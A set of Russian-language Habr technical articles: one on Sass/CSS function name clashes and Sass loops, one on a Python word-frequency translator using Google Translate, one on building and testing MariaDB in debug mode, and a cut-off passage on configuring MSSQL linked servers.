Ещё одна проблема появляется в ситуации, когда пытаются использовать CSS-переменную или результат работы математических CSS-функций (вроде `calc()`, `min()`, `max()`) в CSS-фильтрах наподобие `invert()`.
Вот сообщение об ошибке, которую можно увидеть в подобных обстоятельствах: `$color: 'var(--p, 0.85) is not a color for invert`
*Использование var() в filter: invert() приводит к ошибке*
То же самое происходит и с `grayscale()`: `$color: ‘calc(.2 + var(--d, .3))‘ is not a color for grayscale`.
*Использование calc() в filter: grayscale() приводит к ошибке*
Конструкция `filter: opacity()` тоже подвержена подобным проблемам: `$color: ‘var(--p, 0.8)‘ is not a color for opacity`.
*Использование var() в filter: opacity() приводит к ошибке*
Но другие функции, используемые в `filter`, включая `sepia()`, `blur()`, `drop-shadow()`, `brightness()`, `contrast()` и `hue-rotate()`, работают с CSS-переменными совершенно нормально!
Оказалось, что причина этой проблемы похожа на ту, которой подвержены функции `min()` и `max()`. В Sass нет встроенных функций `sepia()`, `blur()`, `drop-shadow()`, `brightness()`, `contrast()`, `hue-rotate()`. Но там есть собственные функции [grayscale()](https://sass-lang.com/documentation/modules/color#grayscale), [invert()](https://sass-lang.com/documentation/modules/color#invert) и [opacity()](https://sass-lang.com/documentation/modules/color#alpha). Первым аргументом этих функций является значение `$color`. Ошибка появляется из-за того, что при использовании проблемных конструкций такого аргумента Sass не находит.
По той же причине проблемы возникают и при использовании CSS-переменных, представляющих как минимум два `hsl()` или `hsla()`-значения.
*Ошибка при использовании var() в color: hsl()*
С другой стороны, без использования Sass конструкция `color: hsl(9, var(--sl, 95%, 65%))` — это совершенно правильная и совершенно нормально работающая CSS-конструкция.
То же самое справедливо и для таких функций, как `rgb()` и `rgba()`:
*Ошибка при использовании var() в color: rgba()*
Кроме того, если импортировать Compass и попытаться использовать CSS-переменную внутри `linear-gradient()` или `radial-gradient()`, можно столкнуться с ещё одной ошибкой. Но, в то же время, в `conic-gradient()` переменными можно пользоваться без всяких проблем (конечно, если браузер эту функцию поддерживает).
*Ошибка при использовании var() в background: linear-gradient()*
Причина проблемы кроется в том, что в Compass есть собственные функции [linear-gradient()](http://compass-style.org/reference/compass/css3/images/#function-linear-gradient) и `radial-gradient()`, а вот функции `conic-gradient()` там никогда не было.
В целом же, все эти проблемы произрастают из того факта, что в Sass или в Compass есть собственные функции, имена которых совпадают с теми, что есть и в CSS. И Sass, и Compass, встречая эти функции, считают, что мы собираемся пользоваться именно их собственными реализациями этих функций, а не стандартными.
Вот засада!
Решение проблемы
----------------
Эту проблему можно решить, если вспомнить о том, что Sass чувствителен к регистру, а CSS — нет.
Это означает, что можно написать что-то вроде `Min(20em, 50vh)` и Sass не распознает в этой конструкции свою собственную функцию `min()`. Никаких ошибок при этом выдано не будет. Эта конструкция будет представлять собой правильно сформированный CSS-код, который работает именно так, как ожидается. Аналогично, избавиться от проблем с другими функциями можно, нестандартным образом записывая их имена: `HSL()`, `HSLA()`, `RGB()`, `RGBA()`, `Invert()`.
Если говорить о градиентах, то тут я обычно использую такую форму: `linear-Gradient()` и `radial-Gradient()`. Делаю я это из-за того, что такая запись близка к именам, используемым в [SVG](https://developer.mozilla.org/en-US/docs/Web/SVG/Element/linearGradient), но в данной ситуации сработает и любое другое подобное имя, включающее в себя хотя бы одну заглавную букву.
Зачем все эти сложности?
------------------------
Почти каждый раз, когда я пишу в Твиттере что-нибудь про Sass, мне начинают читать лекции о том, что сейчас, когда есть CSS-переменные, Sass пользоваться уже не нужно. Я решила, что мне стоит на это ответить и объяснить причину моего несогласия с этой идеей.
Во-первых — отмечу, что я считаю CSS-переменные чрезвычайно полезными, и то, что я пользовалась ими для решения множества задач последние три года. Но я полагаю, что необходимо помнить о том, что их использование сказывается на производительности. А поиск проблемы, возникшей в лабиринте вызовов `calc()`, может оказаться пренеприятнейшим занятием. Стандартные браузерные инструменты разработчика пока не очень хороши в этом деле. Я стараюсь не увлекаться использованием CSS переменных, чтобы не попадать в ситуации, в которых их минусы показывают себя сильнее, чем их плюсы.
*Не так-то легко понять то, какими будут результаты вычисления этих выражений calc()*
В целом, если переменная используется как константа, не изменяется от элемента к элементу, или от состояния к состоянию (а в подобных случаях CSS-переменные, определённо, использовать [нужно](https://css-tricks.com/dry-switching-with-css-variables-the-difference-of-one-declaration/)), или если переменная не уменьшает объёма скомпилированного CSS-кода (решая [проблему повторений](https://lea.verou.me/2016/09/autoprefixing-with-css-variables/), создаваемую префиксами), тогда я буду использовать Sass-переменную.
Во-вторых — поддержка переменных всегда была довольно-таки незначительной причиной среди тех причин, по которым я использую Sass. Когда я начала пользоваться Sass, а было это во второй половине 2012 года, я сделала это, в основном, ради циклов. Ради той возможности, которой до сих пор нет в CSS. Хотя я перенесла некоторую логику, связанную с циклами, в препроцессор HTML (так как это уменьшает объём сгенерированного кода и позволяет избежать необходимости модифицировать и HTML, и CSS), я всё ещё использую циклы Sass во множестве случаев. Среди них — генерирование списков значений, создание значений для настройки градиентов, создание списков точек при работе с функцией `polygon()`, создание списков трансформаций и так далее.
Ниже показан пример того, как я поступила бы раньше при создании некоторого количества HTML-элементов с помощью препроцессора. То, какой именно это препроцессор, особой роли не играет, но я выбрала Pug:
```
- let n = 12;
while n--
.item
```
Затем я бы создала переменную `$n` в Sass (и в этой переменной должно было бы быть то же значение, что и в HTML) и запустила бы с её использованием цикл, в котором сгенерировала бы трансформации, используемые для позиционирования каждого из элементов:
```
$n: 12;
$ba: 360deg/$n;
$d: 2em;
.item {
position: absolute;
top: 50%; left: 50%;
margin: -.5*$d;
width: $d; height: $d;
/* аккуратно оформим стили */
@for $i from 0 to $n {
&:nth-child(#{$i + 1}) {
transform: rotate($i*$ba) translate(2*$d) rotate(-$i*$ba);
&::before { content: '#{$i}' }
}
}
}
```
Минус этого всего заключается в том, что мне пришлось бы менять значения и в Pug-коде, и в Sass-коде в том случае, если изменилось бы количество элементов. В коде, кроме того, появляется много повторений.
*CSS-код, сгенерированный на основе вышеприведённого кода*
Теперь я перешла к другому подходу. А именно, с помощью Pug я генерирую индексы в виде пользовательских свойств, а затем использую их при объявлении `transform`.
Вот код, который планируется обработать с помощью Pug:
```
- let n = 12;
body(style=`--n: ${n}`)
- for(let i = 0; i < n; i++)
.item(style=`--i: ${i}`)
```
Вот Sass-код:
```
$d: 2em;
.item {
position: absolute;
top: 50%;
left: 50%;
margin: -.5*$d;
width: $d;
height: $d;
/* аккуратно оформим стили */
--az: calc(var(--i)*1turn/var(--n));
transform: rotate(var(--az)) translate(2*$d) rotate(calc(-1*var(--az)));
counter-reset: i var(--i);
&::before { content: counter(i) }
}
```
[Здесь](https://codepen.io/thebabydino/pen/JjGGvpp) можно поэкспериментировать с этим кодом.
*Элементы, сгенерированные и стилизованные с использованием циклов*
Применение такого подхода значительно уменьшило объём CSS-кода, сгенерированного автоматически.
*CSS-код, сгенерированный на основе вышеприведённого кода*
Но если нужно создать что-то вроде радуги, без Sass-циклов не обойтись.
```
@function get-rainbow($n: 12, $sat: 90%, $lum: 65%) {
$unit: 360/$n;
$s-list: ();
@for $i from 0 through $n {
$s-list: $s-list, hsl($i*$unit, $sat, $lum)
}
@return $s-list
}
html { background: linear-gradient(90deg, get-rainbow()) }
```
[Вот](https://codepen.io/thebabydino/pen/GRooBJm) рабочий вариант этого примера.
*Многоцветный фон*
Конечно, это можно сгенерировать и средствами переменных Pug, но у такого подхода нет преимуществ перед динамической природой CSS-переменных, и он не позволит уменьшить объём кода, передаваемого браузеру. В результате мне нет смысла отказываться от того, к чему я привыкла.
Я много использую встроенные математические функции Sass (и Compass), такие, как тригонометрические функции. В наши дни подобные функции являются частью [спецификации CSS](https://drafts.csswg.org/css-values-4/#math-function), но их поддержка реализована пока не во всех браузерах. В Sass таких функций нет, но в Compass они есть, и именно поэтому мне часто приходится применять Compass.
И, конечно, я могу написать в Sass собственные функции такого рода. Я так делала в самом начале, до того, как в Compass появилась поддержка обратных тригонометрических функций. Мне эти функции очень нужны, поэтому я написала их сама, пользуясь [рядами Тейлора](https://ru.wikipedia.org/wiki/%D0%A0%D1%8F%D0%B4_%D0%A2%D0%B5%D0%B9%D0%BB%D0%BE%D1%80%D0%B0). Но в наши дни эти функции есть в Compass. Они лучше и производительнее тех, которые я писала сама.
Математические функции очень важны для меня по той причине, что я — программист, а не художник. Значения в моём CSS-коде обычно формируются на основе математических вычислений. Это — не какие-то «магические числа», или что-то такое, что играет чисто эстетическую роль. В качестве примера их использования можно привести генерирование списка правильных или квазиправильных многоугольников для `clip-path`. Подобное применяется, например, при создании чего-то вроде аватаров или стикеров, форма которых отличается от прямоугольной.
Рассмотрим правильный многоугольник, вершины которого лежат на окружности. Перетаскивание слайдера в следующем примере, с которым можно поэкспериментировать [здесь](https://codepen.io/thebabydino/pen/QbBWZb), позволяет нам увидеть то, где размещаются точки для фигур с разным количеством вершин.
*Фигура с тремя вершинами*
Вот как выглядит соответствующий Sass-код:
```
@mixin reg-poly($n: 3) {
$ba: 360deg/$n; // базовый угол
$p: (); // список координат точек, изначально пустой
@for $i from 0 to $n {
$ca: $i*$ba; // текущий угол
$x: 50%*(1 + cos($ca)); // координата x текущей точки
$y: 50%*(1 + sin($ca)); // координата y текущей точки
$p: $p, $x $y // добавление координат текущей точки к списку координат
}
clip-path: polygon($p) // установка списка точек в качестве значения clip-path
}
```
Обратите внимание на то, что мы тут применяем циклы и другие конструкции, пользоваться которыми, применяя чистый CSS, очень неудобно.
Немного более продвинутая версия этого примера может включать в себя вращение многоугольника, реализованное путём добавления одного и того же смещения (`$oa`) к углу, соответствующему каждой вершине. Это можно видеть в следующем [примере](https://codepen.io/thebabydino/pen/PRMxwj). Здесь генерируются звёзды, которые устроены похожим образом, но всегда имеют чётное количество вершин. При этом каждая вершина с нечётным индексом располагается на окружности, радиус которой меньше основной окружности (`$f*50%`).
*Звезда*
Можно наделать и [таких](https://codepen.io/thebabydino/pen/KLyjBx) интересных звёздочек.
*Звёзды*
Можно создавать стикеры с границами (`border`), созданными с использованием необычных шаблонов. В [данном](https://codepen.io/thebabydino/pen/XWJaXRp) примере стикер создаётся из единственного HTML-элемента, а шаблон, используемый для настройки `border`, создаётся с применением `clip-path`, циклов и математических вычислений в Sass. На самом деле, вычислений тут довольно много.
*Стикеры со сложными границами*
Ещё один [пример](https://codepen.io/thebabydino/pen/gOYxjLz) представлен созданием фона для карточек. Здесь, в цикле, с помощью [оператора](https://en.wikipedia.org/wiki/Modulo_operation) получения остатка от деления и экспоненциальных функций, создаётся фон с имитацией эффекта дизеринга.
*Эффект дизеринга*
Здесь тоже интенсивно используются CSS-переменные
Далее, можно вспомнить об использовании миксинов ради избежания необходимости снова и снова писать одинаковые объявления при стилизации чего-то вроде [слайдеров](https://css-tricks.com/multi-thumb-sliders-particular-two-thumb-case/). Разные браузеры используют различные псевдоэлементы для стилизации внутренних компонентов подобных элементов управления, поэтому нужно, для каждого компонента, задавать стили, которые управляют их видом с использованием разных псевдоэлементов.
К сожалению, в CSS, каким бы заманчивым это ни выглядело, нельзя поместить что-то вроде следующего кода:
```
input::-webkit-slider-runnable-track,
input::-moz-range-track,
input::-ms-track { /* общие стили */ }
```
Работать это не будет. Весь этот набор правил игнорируется в том случае, если хотя бы один селектор не будет распознан. И, так как ни один браузер не знает о существовании всех трёх селекторов из этого примера, эти стили не будут применены ни в одном браузере.
Если нужно, чтобы стилизация, всё же, заработала, надо будет поступить примерно так:
```
input::-webkit-slider-runnable-track { /* общие стили */ }
input::-moz-range-track { /* общие стили */ }
input::-ms-track { /* общие стили */ }
```
Но это может привести к тому, что одни и те же стили появятся в коде три раза. А если нужно, скажем, поменять у `track` свойство `background`, это будет значить, что придётся редактировать стили в `::-webkit-slider-runnable-track`, в `::-moz-range-track` и в `::-ms-track`.
Единственное вменяемое решение этой задачи заключается в использовании миксинов. Стили повторяются в скомпилированном коде, так как без этого никак не обойтись, но теперь нам, по крайней мере, не приходится три раза вводить в редакторе один и тот же код.
```
@mixin track() { /* общие стили */ }
input {
&::-webkit-slider-runnable-track { @include track }
&::-moz-range-track { @include track }
&::-ms-track { @include track }
}
```
Итоги
-----
Главный вывод, который я могу сделать, получился таким: Sass в — это то, без чего нам пока не обойтись.
**Пользуетесь ли вы Sass?**
[](http://ruvds.com/ru-rub?utm_source=habr&utm_medium=perevod&utm_campaign=saassconflictcss) | https://habr.com/ru/post/511596/ | null | ru | null |
# Работа с иностранными текстами. Как увеличить процент понимания и выучить язык?
По жизни или по работе иногда приходится сталкиваться с текстами на иностранном языке, знания которого еще далеки от совершенства. Чтобы прочесть и понять, о чем идет речь (и, в лучшем случае, выучить несколько новых слов), я обычно использовал два варианта. Первый — это перевод текста в браузере, второй — перевод каждого слова по отдельности с помощью, например, ABBYY Lingvo. Но у этих методов есть множество недостатков. Во-первых, браузер предлагает перевод предложениями, а значит, он может менять порядок слов и перевод может оказаться еще более непонятным, чем оригинальный текст. Во-вторых, браузер не предлагает ни альтернативных вариантов перевода, ни синонимов к словам, а значит, учить новые слова становится проблематично. Другие варианты и синонимы можно получить при поиске конкретного слова в переводчике, а это требует некоторого времени, особенно если таких слов много. Наконец, читая текст, мне хотелось бы знать, какие слова наиболее популярны в этом языке, чтобы я мог их запомнить и потом использовать в своей письменной или разговорной речи.
Я подумал, что иметь под рукой подобный «переводчик» было бы неплохо, и поэтому решил реализовать его на python. Всех, кого заинтересовало, прошу под кат.
#### Подсчет слов
При написании программы я руководствовался следующей логикой. Сначала необходимо переписать весь текст строчными буквами, убрать ненужные знаки и символы (.?! и т.д.) и подсчитать, сколько раз каждое слово встречается в тексте. Вдохновленный [кодом от Google](https://developers.google.com/edu/python/exercises/basic), я сделал это без малейшего труда, но полученные результаты решил записать в несколько ином виде, а именно `{1: [group of words that is with frequency 1], 2: [--//-- with frequency 2], etc.}`. Это удобно, если требуется сортировка в том числе и внутри каждой группы слов, например, если мы хотим, чтобы слова шли в том же порядке, как в тексте. Итого, я хочу получить двойную сортировку: чтобы в начале шли наиболее часто встречающиеся слова, а если они встречаются с одинаковой частотой, то чтобы они были упорядочены в соответствии с исходным текстом. Эта идея получила отражение в следующем коде.
```
def word_count_dict(filename, dictList=de500):
count = {}
txt = re.sub('[,.!?":;()*]', '',
open(filename, 'r').read().lower())
words = txt.split()
for word in words:
if not word in count:
count[word] = 1
else:
count[word] += 1
return {i: sorted([w for w in count
if (count[w]==i and w not in dictList.values())],
key=lambda x: txt.index(x)) for i in set(count.values())}
```
Отлично, все работает, как и хотелось, но есть подозрение, что в топе списка будут вспомогательные слова (типа the) и другие, перевод которых очевиден (например, you). Избавиться от них можно, создав специальный список наиболее употребляемых слов, чтобы при формировании словаря исключать все слова, которые находятся в этом списке. Почему это еще удобно? Потому что, выучив нужное слово, мы можем добавить его в список, и соответствующий перевод больше не будет показан. Обозначим список переменной *dictList* и забудем о нем на некоторое время.
#### Перевод слов
Потратив несколько минут на поиски удобного онлайн-переводчика, решено было проверить в действии Google и Yandex. Так как ровно 3 года и 1 день назад [Google закрыл Translate API](http://habrahabr.ru/post/120161/), то будем использовать обходной вариант, предложенный [WNeZRoS](https://habrahabr.ru/users/wnezros/). В ответе на запрос того или иного слова Google предлагает перевод, альтернативные варианты перевода и их обратный перевод (то есть, синонимы). Использование Yandex'a как обычно требует получения ключа, и в ответе на запрос можно найти не только перевод, но и примеры, и наверное, еще что-то. В обоих случаях ответ будет содержать список в формате json, довольно простой у Google, и несколько усложненный у Yandex. По этой причине, а также потому, что Google знает больше языков (и зачастую слов), решено было остановиться именно на нем.
Запросы будем отправлять с помощью замечательной библиотеки *grab*, а ответы записывать во вспомогательный текстовый файл (*dict.txt*). В нем попробуем найти основной перевод, альтернативные варианты и синонимы, и если они есть, напечатать их. Сделаем так, чтобы последние две опции можно было отключить. Соответствующий код будет выглядеть следующим образом.
```
def tranlsate(word, key, lan1='de', lan2='ru', alt=True, syn=True):
g = Grab(log_file = 'dict.txt')
link = 'http://translate.google.ru/translate_a/t?client=x&text='\
+ word + '&sl=' + lan1 + '&tl=' + lan2
g.go(link)
data = json.load(open('dict.txt'))
translation, noun, alternatives, synonims = 0, 0, 0, 0
try:
translation = data[u'sentences'][0][u'trans']
noun = data[u'dict'][0][u'pos']
alternatives = data['dict'][0]['terms']
synonims = data['dict'][0]['entry'][0]['reverse_translation']
except:
pass
if lan1=='de' and noun==u'имя существительное':
word = word.title()
if translation:
print ('['+str(key)+']', word, ': ', translation)
if alt and alternatives:
[print (i, end=', ') for i in alternatives]
print ('\r')
if syn and synonims:
[print (i.encode('cp866', errors='replace'), end=', ')
for i in synonims]
print ('\n')
```
Как можно заметить, дефолтный перевод настроен с немецкого на русский. Переменная *key* соответствует частоте слова в тексте. Ее будем передавать из другой функции, которая и будет вызывать перевод для каждого слова.
#### Вызов функции перевода
Здесь все просто: я хочу получить группы слов с соответствующей частотой в виде словаря (функция *word\_count\_dict*) и найти перевод каждого слова (функция *tranlsate*). Также я хочу, чтобы были показаны только первые n групп наиболее употребляемых слов.
```
def print_top(filename, n=100):
mydict = word_count_dict(filename)
mydict_keys = sorted(mydict, reverse=True)[0:n]
[[tranlsate(word, key) for word in mydict[key]] for key in mydict_keys]
```
#### Список наиболее употребляемых слов
Отлично, программа практически готова, осталось только составить список наиболее употребляемых слов. Их легко найти в интернете, и я составил список 50, 100 и 500 наиболее употребляемых слов в немецком языке и записал его в отдельный файл, чтобы не засорять код.
Если кто-то захочет составить подобный список в английском или другом языке, я буду благодарен, если он или она поделится им, чтобы я мог добавить его в свой.
#### Предварительные результаты
Запустив программу, можно получить результаты приблизительно в следующем виде:
```
[частота повторения слова] слово: перевод
альтернативный перевод,
синонимы
```
Хорошо, код написан, программа работает, однако насколько это удобно и эффективно? Чтобы попытаться ответить на этот вопрос, я взял пару текстов на немецком языке для проверки.
Первая [статья из Deutsche Welle](http://www.dw.de/methmann-deutsche-bank-gef%C3%A4hrdet-great-barrier-reef/a-17653340) посвящена теме финансирования добычи угля Deutsche Bank рядом с Австралией. Статья содержит 498 слов, из которых 15 наиболее часто встречаемых в тексте (воспользуемся списком 50 наиболее употребляемых немецких слов для исключения) соответствуют 16.87% всего текста. Грубо говоря, это означает, что если предположить, что человек не знает этих слов, то после прочтения перевода 6.67% всех слов, встречающихся в тексте, его уровень понимания увеличится почти на 17% (если измерять уровень понимания только количеством знакомых слов в тексте). На первый взгляд довольно неплохо.
Вторая [статья](http://www.spiegel.de/wirtschaft/unternehmen/dax-schiesst-auf-neuen-hoechststand-a-971655.html) из Spiegel рассказывает о том, как немецкий биржевой индекс DAX отреагировал на победу Порошенко в выборах президента на Украине (да-да, он вырос). Статья содержит 252 слова, из которых 8 наиболее встречаемых (6.06%) аналогично соответствуют 11.9% текста.
Кроме того, следует заметить, что если переводимый текст достаточно короткий, чтобы каждое слово встречалось только один раз (например, сообщение, полученное по электронной почте), то следовать предложенному переводу в том же порядке, как слова идут в тексте, весьма удобно.
Звучит красиво (es klingt schön), однако это очень грубые тесты, поскольку я ввел слишком много предпосылок. Думаю, что проверить, насколько эта идея может облегчить работу с текстами на иностранном языке, возможно лишь при некотором регулярном использовании этой программы, что, к сожалению, пока не очень удобно. Для того чтобы перевести текст нужно скопировать его сначала в *.txt* файл и присвоить имя файла переменной *filename*, а затем запустить функцию *print\_top*.
#### Чего не хватает?
Вместо заключения хотелось бы поразмышлять, чего не хватает на данном этапе, и как это можно было бы улучшить.
Во-первых, как только что было сказано, удобства. Код использовать неудобно — нужно копировать текст, + зависимость от python и библиотеки grab. Что делать? Как вариант, написать расширение для браузера, чтобы можно было выбирать определенный элемент на странице (например, аналогично тому, как это реализовано в [Reedy](http://habrahabr.ru/post/220775/)) и получать его перевод. Во-вторых, списка слов для исключения наиболее употребляемых на других языках. Наконец, возможны различные косяки с кодировками.
Скорее всего, в ближайшее время мои руки не дойдут до внесения вышеописанных изменений (так как код написан, пора приступать к более глубокому изучению языка!), поэтому если кто-то захочет присоединиться, я буду рад компании и помощи.
Весь код целиком можно найти под спойлером, а также на [github](https://github.com/alekz112/Tools).
**Исходный код**
```
# -*- coding: utf-8-sig -*-
from __future__ import print_function
import re
import json
from pprint import pprint
from grab import Grab
from dictDe import *
def tranlsate(word, key, lan1='de', lan2='ru', alt=True, syn=True):
"""Prints the number of counts, word, translation, and example
from lan1 to lan2 according to Translate.Google."""
# First, write down a translation in some auxiliary txt file
# and load it in json format
g = Grab(log_file = 'dict.txt')
link = 'http://translate.google.ru/translate_a/t?client=x&text='\
+ word + '&sl=' + lan1 + '&tl=' + lan2
g.go(link)
data = json.load(open('dict.txt'))
# Then, let's try to get all the necessary elements in json
translation, noun, alternatives, synonims = 0, 0, 0, 0
try:
translation = data[u'sentences'][0][u'trans']
noun = data[u'dict'][0][u'pos']
alternatives = data['dict'][0]['terms']
synonims = data['dict'][0]['entry'][0]['reverse_translation']
except:
pass
# German nouns should begin with capital letter
if lan1=='de' and noun==u'имя существительное':
word = word.title()
# Finally, print out counts, word, translation with alternatives
# and synonims, if applicable. Encoding is added up to allow
# printing in cmd if you have a russian version of Windows
if translation:
print ('['+str(key)+']', word, ': ', translation)
if alt and alternatives:
[print (i, end=', ') for i in alternatives]
print ('\r')
if syn and synonims:
[print (i.encode('cp866', errors='replace'), end=', ')
for i in synonims]
print ('\n')
def word_count_dict(filename, dictList=de50):
"""Returns a dictionary with key being number of counts
and value being a list of words with that key.
dictList is an optional argument: it is to eliminate
the most common words. Default is the dictionary of
the 50 most common German words"""
count = {}
txt = open(filename, 'r').read().lower()
txt = re.sub('[,.!?":;()*]', '', txt)
words = txt.split()
for word in words:
if not word in count:
count[word] = 1
else:
count[word] += 1
return {i: sorted([w for w in count
if (count[w]==i and w not in dictList.values())],
key=lambda x: txt.index(x)) for i in set(count.values())}
def print_top(filename, n=100):
"""Generates the top count groups for the given file.
Default number equals 10. Drop reverse if you want
to print the less frequent words in the text."""
mydict = word_count_dict(filename)
mydict_keys = sorted(mydict, reverse=True)[0:n]
[[tranlsate(word, key) for word in mydict[key]] for key in mydict_keys]
filename = 'dictext.txt'
print (print_top(filename))
``` | https://habr.com/ru/post/224301/ | null | ru | null |
# Тестирование базы данных
Вступление
----------
Современные приложения в основном состоят из фронтенда и бэкенда. Что касается тестирования бэкенда, то оно в основном ассоциируется с тестированием базы данных. В частности происходит проверка корректности записи введенных данных на фронтенде в базу данных бэкенда. Но не только. Также проверяется корректность схем, таблиц, ключей и многого другого. И вот об этом то мы с вами сегодня и поговорим на примере MariaDB Server, одной из самых популярных реляционных баз данных с открытым исходным кодом.
Установка
---------
Прежде чем начать тестировать базу данных, нужно правильно её установить. Потому что обычная установка из .exe файла с помощью установщика Windows бесполезна для проведения каких-либо тестов. Нам нужно произвести установку в режиме отладки, так называемый debug mode. Я хотел бы показать это на платформе Windows, которая является одной из самых распространённых в мире.
Для этого нам нужно три составляющие, а именно:
* Visual C++ (при установке Visual Studio обязательно добавьте компонент "**Desktop Development with C++**"),
* CMake
* Git
Если у вас есть все эти три компонента на вашем ПК, вы сможете начать непосредственную установку. Нужно создать папку для MariaDB и перейти в неё. В командной строке переходим в созданную папку и затем выполняем команды:
```
mkdir Test
cd Test
git init
git clone -b mariadb-10.5.15 https://github.com/MariaDB/server.git
```
Теперь вы скачали исходный код из репозитория. А затем нужно перейти в папку **server**, создать новую папку **bld** и перейти в нее:
```
cd server
mkdir bld
cd bld
```
Таким образом уже почти всё подготовлено и осталось только выполнить **CMake** как кроссплатформенный генератор системы сборки с помощью следующей команды:
```
cmake ..
```
Сборка закончена:
Последним шагом необходимо собрать **Debug version**. Установка может занять несколько минут. Это зависит от пропускной способности вашего интернет-соединения. Выполняем команду:
```
cmake --build . --config Debug
```
Тестирование
------------
А теперь самая захватывающая часть нашей статьи. Давайте создадим наш первый тест. Это не так просто, но и не так сложно, как кажется. Вот некоторые правила, которые вы должны знать.
Вы должны использовать расширение `.test` при сохранении своего теста и сохранять его необходимо и сохранять его нужно в папке, которая находится вот по такому пути `c:\Test\server\mysql-test\main`
Но запускать наши тесты мы будем из папки, которая находится вот по этому пути `c:\Test\server\bld\mysql-test`
Так как там находится основной запускающий файл. Уверен что можно добавить этот путь в path и тогда можно будет запускать откуда угодно, но сейчас не об этом речь.
А теперь открываем любой текстовый редактор, например **Notepad** и пишем наш первый тест:
```
--echo #
--echo # Test #00001: avarage
--echo #
create table t1 (
pk int primary key,
height int
);
insert into t1 values
(0,9),
(1,5),
(2,4);
show create table t1;
select avg(height) from t1;
drop table t1;
```
Теперь нам нужно сохранить этот файл с расширением .test, в моем случае я назвал его `sergei.test`
В этом тесте мы создаем таблицу с тремя строками и вычисляем среднюю высоту.
Запускаем наш тест командой:
```
mysql-test-run.pl sergei.test
```
Наш тест пройден успешно, потому что в MariaDB в этом тестовом сценарии нет ошибок и нет ошибок в тестовом скрипте.
Иногда нам нужно записывать наши результаты. Это сделать достаточно просто. Надо запустить тест с опцией записи:
```
mysql-test-run.pl sergei.test --record
```
При этом создастся другой файл с расширением `.result` в том же каталоге, что и тестовый файл с тем же именем. В моем случае это `sergei.result`
Заключение
----------
На самом деле тестирование базы данных может включать в себя множество проверок таких как:
* Схема
* Таблицы базы данных
* Столбцы
* Ключи и индексы
* Хранимые процедуры
* Триггеры
* Проверка сервера базы данных
* Проверка дублирования данных
И безусловно существует очень много вариантов для запуска наших тестов, даже в режиме отладки и контроля процесса. Все эти описания вы можете найти в базе знаний на официальном сайте MariaDB и уже основываясь на этих примерах, создавать свои уникальные тесты.
*Какие нужны базовые знания, чтобы стать инженером по тестированию ПО? Что необходимо выучить, чтобы получить первую работу? У кого больше шансов сменить работу и попасть в IT? Приглашаю вас на* [*бесплатный урок*](https://otus.pw/fcCz/)*, где обсудим, кто и как приходит в технологии через профессию тестировщик программного обеспечения. Урок подойдет тем, кто желает стать тестировщиком, получить новую профессию, работать удаленно.*
* [Зарегистрироваться на бесплатный урок](https://otus.pw/fcCz/) | https://habr.com/ru/post/715272/ | null | ru | null |
# MSSQL Server. Пример применения связанного сервера
Сегодня решил поделиться статьей как однажды мне пришел на выручку связанный сервер при работе с MSSQL. Сначала опишу ситуацию, в которой мне пришлось с ним познакомиться.
Я работал web программистом в информационном центре одного из министерств с около сотней подведомственных учреждений. В каждом подведомственном учреждении на сервере была установлена десктоп программа, написанная на delphi, в которую ежедневно вносились данные. Раз в квартал каждому такому учреждению нужно было выгрузить dbf файл, приехать к нам в центр, по данным этой выгрузки получить отчеты и сдать их в министерство. Так было еще в досовской программе, а потом этот алгоритм просто ничего не меняя, перенесли в delphi. Выгрузка осуществлялась средствами Transact-SQL, и логика в ней была не простая.
Параллельно с этим в оффлайн режиме работала шина, которая скапливала данные со всех учреждений на единый центральный сервер. В шине были багги: она создавала дубли по первичному ключу и не все данные доходили. Конкретного алгоритма по исправлению этих ошибок не было, этим занимались разные сотрудники в разные периоды времени, не ставя друг друга в известность. Разработчик шины уволился. Через три года такой работы данные на центральном сервере значительно отличались от данных на серверах учреждений, однако все официально придерживались версии, что с шиной проблем нет.
В один момент схему с выгрузкой файла посчитали устаревшей, и были выделены деньги на доработку. Было решено сдавать отчеты на сайте в личном кабинете по нажатию кнопки. Теперь сотрудники учреждений не должны были ездить для сдачи отчета сначала к нам и потом в министерство, все общение должно было осуществляться через сайт. Данные нужно было брать с центрального сервера. Начальник отдела, не смотря на то, что знал про проблемы с шиной, велел взять процедуру, что работала на серверах учреждений, в выборке добавить условие учитывающее сегмент учреждений, и реализовать выгрузку отчетов на сайте с центрального сервера. После того как это было сделано, он назначил меня ответственным за данный процесс, а руководство официально объявило, что отчеты в министерство сдаем по новой схеме.
Все рухнуло. Из-за расхождения данных между серверами отчеты были с неверными цифрами. Так же все легло в плане производительности, мы не были готовы к такой нагрузке. От меня требовалось быстрое решение проблемы. Вариант просто прописать у себя на сайте для каждого учреждения параметры подключения к их БД и запускать процедуру у них на сервере (средствами языка программирования) не подходил, так как помимо получения данных нужно было каждый раз запускать обработку для конвертации этих данных в отчеты. Процедура обработки уже была реализована и отлажена в mssql на центральном сервере, а перенос ее в язык программирования занял бы много ресурсов и времени. Нужно было справляться средствами БД.
Погуглив я нашел информацию, что в MSSQL существуют связанные серверы. С помощью них для своего сервера я мог настроить связь с любым удаленным сервером, который в одной сети с моим и от которого у меня есть авторизационные данные. После настройки я мог на своем сервере написать запрос, указать на каком связанном сервере его нужно выполнить, и запрос выполнялся на удаленном сервере, с использованием его баз данных и его ресурсов.
Для создания связанного сервера нужно выполнить скрипт:
```
EXEC master.dbo.sp_addlinkedserver @server = N'MY_SERV_1', @datasrc=N'192.168.1.1'
EXEC master.dbo.sp_addlinkedsrvlogin @rmtsrvname=N'MY_SERV_1',@useself=N'False',@locallogin='sa',@rmtuser='sa',@rmtpassword='1111111'
```
Параметры сервера
[server](https://habrahabr.ru/users/server/) – имя сервера, по которому мы будем к нему обращаться
@datasrc – ip адрес удаленного сервера
Параметры авторизации сервера
@rmtsrvname – имя, которое мы назначили серверу
@locallogin – имя учетной записи
@rmtpassword – пароль учетной записи
@rmtuser – пользователь БД
При создании связанного сервера часть параметров по доступу к данным проставляется в значение 'false' (список параметров вы можете посмотреть [тут](https://technet.microsoft.com/ru-ru/library/ms186839(v=sql.105).aspx) ). Если вам нужно, какие-то параметры установить в значение 'true', например 'rpc'и 'rpc out', то к скрипту создания нужно добавить следующие команды:
```
EXEC master.dbo.sp_serveroption @server=N'MY_SERV_1', @optname=N'rpc', @optvalue=N'true'
GO
EXEC master.dbo.sp_serveroption @server= N'MY_SERV_1', @optname=N'rpc out', @optvalue=N'true'
GO
```
Обратите внимание, что в параметре
[server](https://habrahabr.ru/users/server/) мы указали то имя, которое мы дали связанному серверу.
В итоге скрипт создания связанного сервера целиком выглядел бы так
```
